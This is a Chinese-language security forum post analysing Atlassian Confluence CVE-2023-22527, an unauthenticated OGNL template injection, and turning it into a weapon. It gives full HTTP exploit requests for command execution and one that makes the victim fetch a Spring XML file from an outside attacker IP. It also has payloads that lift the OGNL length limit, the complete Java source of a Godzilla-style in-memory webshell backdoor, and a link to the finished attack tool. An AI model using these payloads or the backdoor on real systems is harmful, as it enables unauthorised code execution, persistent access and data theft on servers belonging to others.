Atlassian Confluence CVE-2023-22527 分析及武器化实现
Boogipop 发表于 海南 WEB安全 1813浏览 · 2024-02-28 02:07

0-0 参考文献

Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527) - 先知社区
Bypassing OGNL sandboxes for fun and charities-,For%20Velocity%3A,-.KEY_velocity.struts2.context)

0-1 简要分析

漏洞点源自于/template/aui/text-inline.vm路由的一个未授权访问,这是一个velocity模板文件,该模板文件内容如下

#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
    #set( $labelValue = $parameters.label )
#end

#if (!$parameters.id)
    #set( $parameters.id = $parameters.name)
#end

<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
    <span class="aui-icon icon-required"></span>
    <span class="content">$parameters.required</span>
#end
</label>

#parse("/template/aui/text-include.vm")

漏洞点自然就在$stack.findValue("getText('$parameters.label')明显的一段OgnlStack的findValue操作,那么label参数就会被ognl解析。因此payload第一段为

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027

用unicode是为了防止url编码导致参数传入失败。并且Ognl是支持unicode编码的。之后就是poc的第二段

poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"}))

用freemarker去做命令执行处理,cmd回显策略。这一段就是很普通的ognl命令回显了,并没有什么其他的操作。

0-1.1 有趣的思考

漏洞点中的context如上图所示,内容为

"com.opensymphony.xwork2.ActionContext.locale" -> {Locale@66441} 
"request" -> {RequestMap@66442}  size = 32
 key = "request"
 value = {RequestMap@66442}  size = 32
  "__prepare_recursion_counter" -> {Integer@66509} 1
  "org.apache.catalina.AccessLog.RemoteHost" -> "127.0.0.1"
  "com.atlassian.confluence.util.message.MessagesDecoratorFilter__already_filtered__" -> {Boolean@66513} true
  "Confluence-Request-Time" -> {Long@66515} 1707673048234
  "com.opensymphony.sitemesh.APPLIED_ONCE" -> {Boolean@66513} true
  "org.apache.tomcat.remoteAddr" -> "127.0.0.1"
  "B3-TraceId" -> "a981718bad3947"
  "struts.actionMapping" -> "noActionMapping"
  "__wrap_recursion_counter" -> {Integer@66509} 1
  "org.apache.catalina.AccessLog.Protocol" -> "HTTP/1.1"
  ".KEY_velocity.struts2.context" -> {StrutsVelocityContext@66526} 
  "com.atlassian.confluence.web.ConfluenceJohnsonFilter_already_filtered" -> {Boolean@66513} true
  "brave.propagation.TraceContext" -> {TraceContext@66529} 
  "com.atlassian.gzipfilter.GzipFilter_already_filtered" -> {Boolean@66513} true
  "org.apache.catalina.AccessLog.ServerName" -> "localhost"
  "atlassian.core.seraph.original.url" -> "/template/aui/text-inline.vm"
  "com.atlassian.labs.botkiller.BotKillerFilter" -> {Boolean@66513} true
  "sessioninview.FILTERED" -> {Boolean@66513} true
  "org.apache.struts2.dispatcher.filter.StrutsPrepareFilter.REQUEST_EXCLUDED_FROM_ACTION_MAPPING" -> {Boolean@66538} false
  "com.atlassian.confluence.web.filter.validateparam.RequestParamValidationFilter_already_filtered" -> {Boolean@66513} true
  "brave.servlet.TracingFilter$SendHandled" -> {TracingFilter$SendHandled@66541} 
  "brave.SpanCustomizer" -> {SpanCustomizerShield@66543} 
  "sitemesh.secondaryStorageLimit" -> {Long@66545} -1
  "org.apache.tomcat.request.forwarded" -> {Boolean@66513} true
  "com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFilter" -> {Boolean@66513} true
  "org.apache.catalina.AccessLog.ServerPort" -> {Integer@66549} 8090
  "os_securityfilter_already_filtered" -> {Boolean@66513} true
  "com.atlassian.core.filters.HeaderSanitisingFilter_already_filtered" -> {Boolean@66513} true
  "com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFixupFilter" -> {Boolean@66513} true
  "loginfilter.already.filtered" -> {Boolean@66513} true
  "com.atlassian.confluence.impl.profiling.DecoratorTimings" -> {DecoratorTimings@66555} 
  "org.apache.catalina.AccessLog.RemoteAddr" -> "127.0.0.1"
"session" -> {SessionMap@66443}  size = 1
"com.opensymphony.xwork2.dispatcher.PageContext" -> {PageContextImpl@66445} 
"com.opensymphony.xwork2.util.ValueStack.ValueStack" -> {OgnlValueStack@60828} 
"com.opensymphony.xwork2.ActionContext.container" -> {ContainerImpl@66448} 
"com.opensymphony.xwork2.dispatcher.HttpServletRequest" -> {StrutsRequestWrapper@60863} 
"com.opensymphony.xwork2.dispatcher.HttpServletResponse" -> {OAuthFilter$OAuthWWWAuthenticateAddingResponse@66451} 
"last.property.accessed" -> null
"com.opensymphony.xwork2.ActionContext.parameters" -> {HttpParameters@66454}  size = 2
"com.opensymphony.xwork2.dispatcher.ServletContext" -> {StandardContext$NoPluggabilityServletContext@66456} 
"last.bean.accessed" -> null
"com.opensymphony.xwork2.ActionContext.application" -> {ApplicationMap@66459}  size = 21
"com.opensymphony.xwork2.ActionContext.session" -> {SessionMap@66443}  size = 1
"application" -> {ApplicationMap@66459}  size = 21
"attr" -> {AttributeMap@66463} Unable to evaluate the expression Method threw 'java.lang.UnsupportedOperationException' exception.
"current.property.path" -> null
"parameters" -> {HttpParameters@66454}  size = 2

其中.KEY_velocity.struts2.context对应获取context上下文,那么这些其他的属性呢?我们也是可以获取的,是否有其他利用点呢?我相信答案肯定是有的,这里笔者就不偏离主题了,只阐述一下一种可能的思路。今天的重点是武器化

0-2 武器化实现

0-2.1 出网

0-2.1.1 ClassPathXmlApplicationContext

出网的话解决方法也好说,Poc如下

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 193

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=#a=new org.springframework.context.support.ClassPathXmlApplicationContext('http://8.130.24.188:8888/1.xml')

这个Poc首先是成立的,然后假如想进一步利用就利用SPEL去注入内存马即可了。
exp的模板如下

<?xml version="1.0" encoding="UTF-8" ?>
 <beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:spring="http://camel.apache.org/schema/spring"
 xmlns:context="http://www.springframework.org/schema/context"
 xsi:schemaLocation="http://www.springframework.org/schema/beans 
http://www.springframework.org/schema/beans/spring-beans.xsd 
http://camel.apache.org/schema/spring 
http://camel.apache.org/schema/spring/camel-spring.xsd 
http://www.springframework.org/schema/context 
http://www.springframework.org/schema/context/spring-context.xsd">
 <context:property-placeholder ignore-resource-not-found="false" ignore
unresolvable="false"/>
 <bean id="ClassBase64Str" class="java.lang.String">
 <constructor-arg 
value="<base64>">
 </constructor-arg>
 </bean>
<bean  class="#
 {T(org.springframework.cglib.core.ReflectUtils).defineClass('<classname>',T(org.springframework.util.Base64Utils).decodeFromString(ClassBase64Str.to
 String()),new javax.management.loading.MLet(new 
java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())
 ).newInstance().test1()}">
 </bean>
 </beans>

这样的话我们也可以达到一种武器化。但是既然都出网了,我们为什么不反弹shell然后做后渗透呢?你说得对,这一是一种方法

0.2.1.2 Agent Memshell+ReverseShell

假如我们通过反弹shell获得了一个confluence权限,那么我们可以注入内存马吗?答案是肯定的,但是既然都拿到了反弹shell,我们当然也是可以直接上C2平台后渗透的,但是有时候有一些特殊的需求,我们是必须需要内存马的。
这时候可以使用vagent进行后渗透处理。
https://github.com/veo/vagent
使用效果如下,我们可以直接进行哥斯拉连接

至于agent内存马的原理就可以自行去了解,阅读一下vagent的源码会很有帮助~

public static Map targetClasses() {
        Map targetClasses = new HashMap();
        Map targetClassJavaxMap = new HashMap();
        targetClassJavaxMap.put("methodName", "service");
        List paramJavaxClsStrList = new ArrayList();
        paramJavaxClsStrList.add("javax.servlet.ServletRequest");
        paramJavaxClsStrList.add("javax.servlet.ServletResponse");
        targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
        Map targetClassJakartaMap = new HashMap();
        targetClassJakartaMap.put("methodName", "service");
        List paramJakartaClsStrList = new ArrayList();
        paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
        paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
        targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
        targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
        if (ServerDetector.isWebLogic()) {
            targetClasses.clear();
            Map targetClassWeblogicMap = new HashMap();
            targetClassWeblogicMap.put("methodName", "execute");
            List paramWeblogicClsStrList = new ArrayList();
            paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
            paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
            targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
            targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);
        }
        return targetClasses;
    }

定义了很多targetclass,然后利用插秧技术直接插入了一段shellcode。非常不错的思路

0.2.1.3 Windows系统?

万一是windows系统呢?当然这种可能性很小,confluence一般都是部署在linux服务器上的。那假如是windows服务器,不能反弹shell,我们该怎么做?这里提供一种可能的思路,既然是tomcat部署的,我们直接笨一点,一段段的echo一个jsp木马进去就好了。

0.2.2 通杀思路

那万一不出网呢?是不是就歇逼了?当然不是,我们仍然是可以注入内存马的,但在这之前我们需要绕过一些东西。

0.2.2.1 长度绕过限制

当我们解析Ognl的时候,我们拿到的不是ognl.Ognl对象,而是ognltool对象,这个对象是默认加了黑名单以及一些过滤处理的。就比如下图中设置了maxLength为200

也就是我们的payload始终不能超过200,一旦超过了那么就会报错

这样的话payload就作废了,那么我们不妨先看看这个属性是什么

一个静态的static属性,全局检索一番不难发现
位于ognl.Ognl#applyExpressionMaxLength是可以设置length的

这个属性首先默认在配置文件中出现

在8.5.1中为200,在8.5.3是150,当然这都不要紧,因为我们是可以设置length的,我们可以通过调用applyExpressionMaxLength方法达到类似覆盖的效果

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 190

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@ognl.Ognl@applyExpressionMaxLength(20000000)

可以看到,成功进入该方法设置属性值,第二次访问会发现属性已经被覆盖。

0.2.2.2 内存马注入

既然长度限制被我们解决了,那就可以注入内存马了,现在需要绕过的是Ognl内置的EvalChain检测和黑名单,这里我选择直接defineclass。

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11331

label=aaa\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})+\u0027&poc=(@org.springframework.cglib.core.ReflectUtils@defineClass('ConfluenceFilterMemshell',@org.springframework.util.Base64Utils@decodeFromString(''),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()

那么我们还该思考内存马怎么去构造,这里可以直接参考beichen师傅之前的内存马,但是需要做一些微小的变化

package main;

import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.Base64;

public class ConfluenceFilterMemshell extends ClassLoader implements InvocationHandler {
    private static boolean initialized = false;
    private static Object lock = new Object();
    private static Class payloadClass;
    private static String password;
    private static String key;
    public ConfluenceFilterMemshell(ClassLoader loader){
        super(loader);
    }
    public ConfluenceFilterMemshell(){
        synchronized (lock){
            if (!initialized){
                try {
                    Class servletRequestListenerClass = null;
                    try {
                        servletRequestListenerClass = Class.forName("jakarta.servlet.ServletRequestListener");
                    } catch (Exception e) {
                        try {
                            servletRequestListenerClass = Class.forName("javax.servlet.ServletRequestListener");
                        } catch (ClassNotFoundException ex) {

                        }
                    }
                    if (servletRequestListenerClass!=null){
                        addListener(Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{servletRequestListenerClass},this),getStandardContext());
                    }
                }catch (Throwable e){

                }
                initialized = true;
            }
        }
    }


    private Object getStandardContext() {
        try {
            Object servletActionContextCompatManager = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").newInstance();
            Method getRequest = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").getMethod("getRequest");
            Object request = getRequest.invoke(servletActionContextCompatManager, null);
            Object servletContext = invokeMethod(request, "getServletContext");
            return getFieldValue(getFieldValue(servletContext,"context"), "context");
        } catch (Exception e) {

            return null;
        }
    }

    private String addListener(Object listener,Object standardContext)throws Exception{
        Method addApplicationEventListenerMethod = standardContext.getClass().getDeclaredMethod("addApplicationEventListener",Object.class);
        addApplicationEventListenerMethod.setAccessible(true);
        addApplicationEventListenerMethod.invoke(standardContext,listener);
        return "ok";
    }


    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().equals("requestInitialized")){
            Object servletRequestEvent = args[0];
            backDoor(servletRequestEvent);
        }
        return null;
    }

    private Object invokeMethod(Object obj,String methodName,Object... parameters){
        try {
            ArrayList classes = new ArrayList();
            if (parameters!=null){
                for (int i=0;i<parameters.length;i++){
                    Object o1=parameters[i];
                    if (o1!=null){
                        classes.add(o1.getClass());
                    }else{
                        classes.add(null);
                    }
                }
            }
            Method method=getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[]{}));

            return method.invoke(obj, parameters);
        }catch (Exception e){
//          e.printStackTrace();
        }
        return null;
    }
    private Method getMethodByClass(Class cs,String methodName,Class... parameters){
        Method method=null;
        while (cs!=null){
            try {
                method=cs.getMethod(methodName, parameters);
                cs=null;
            }catch (Exception e){
                cs=cs.getSuperclass();
            }
        }
        return method;
    }
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field f=null;
        if (obj instanceof Field){
            f=(Field)obj;
        }else {
            Method method=null;
            Class cs=obj.getClass();
            while (cs!=null){
                try {
                    f=cs.getDeclaredField(fieldName);
                    cs=null;
                }catch (Exception e){
                    cs=cs.getSuperclass();
                }
            }
        }
        f.setAccessible(true);
        return f.get(obj);
    }
    public String getParameter(Object requestObject,String name) {
        return (String) invokeMethod(requestObject, "getParameter", name);
    }
    public String getContentType(Object requestObject) {
        return (String) invokeMethod(requestObject, "getContentType");
    }


    public byte[] aes(byte[] s,boolean m){
        try{
            javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
            c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(key.getBytes(),"AES"));
            return c.doFinal(s);
        }catch (Exception e){
            return null;
        }
    }

    public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; }

    private void backDoor(Object servletRequestEvent)  {
        try {
            Object request = invokeMethod(servletRequestEvent,"getServletRequest");
            Object responseforvalidate = getFieldValue(getFieldValue(request, "request"), "response");
            this.invokeMethod(responseforvalidate,"setHeader","X-Cmd-Result","ok");
            if (true){
                try {
                    String contentType = getContentType(request);
                    if (contentType!=null && contentType.contains("application/x-www-form-urlencoded")) {
                        String value = getParameter(request,password);
                        if (value!=null){
                            byte[] data = Base64.getDecoder().decode(value);
                            data = aes(data, false);
                            if (data != null && data.length > 0){
                                if (payloadClass == null) {
                                    payloadClass =  new ConfluenceFilterMemshell(request.getClass().getClassLoader()).defineClass(data,0,data.length);
                                } else {
                                    java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                                    Object f = payloadClass.newInstance();
                                    f.equals(arrOut);
                                    f.equals(request);
                                    f.equals(data);
                                    f.toString();

                                    String md5 = md5(password + key);
                                    if (arrOut.size()>0) {
                                        Object response =  getFieldValue(getFieldValue(request,"request"),"response");
                                        PrintWriter printWriter = (PrintWriter) invokeMethod(response,"getWriter");
                                        printWriter.write(md5.substring(0, 16));
                                        printWriter.write(Base64.getEncoder().encodeToString(aes(arrOut.toByteArray(), true)));
                                        printWriter.write(md5.substring(16));
                                        printWriter.flush();
                                        printWriter.close();
                                    }
                                }
                            }
                        }
                    }

                }catch (Throwable e){
                }
            }
        }catch (Exception e){

        }
    }


}

我们获取Context的类需要改为com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager
最后即可成功注入内存马

工具制作

工具参考北辰师傅的[CVE-2022-26134-Godzilla-MEMSHELL](https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL),做了些简单的改写。
已经在Github上传
https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL
师傅要是觉得不错的话可以给个Star支持一下呀

0 条评论
某人
表情
可输入 255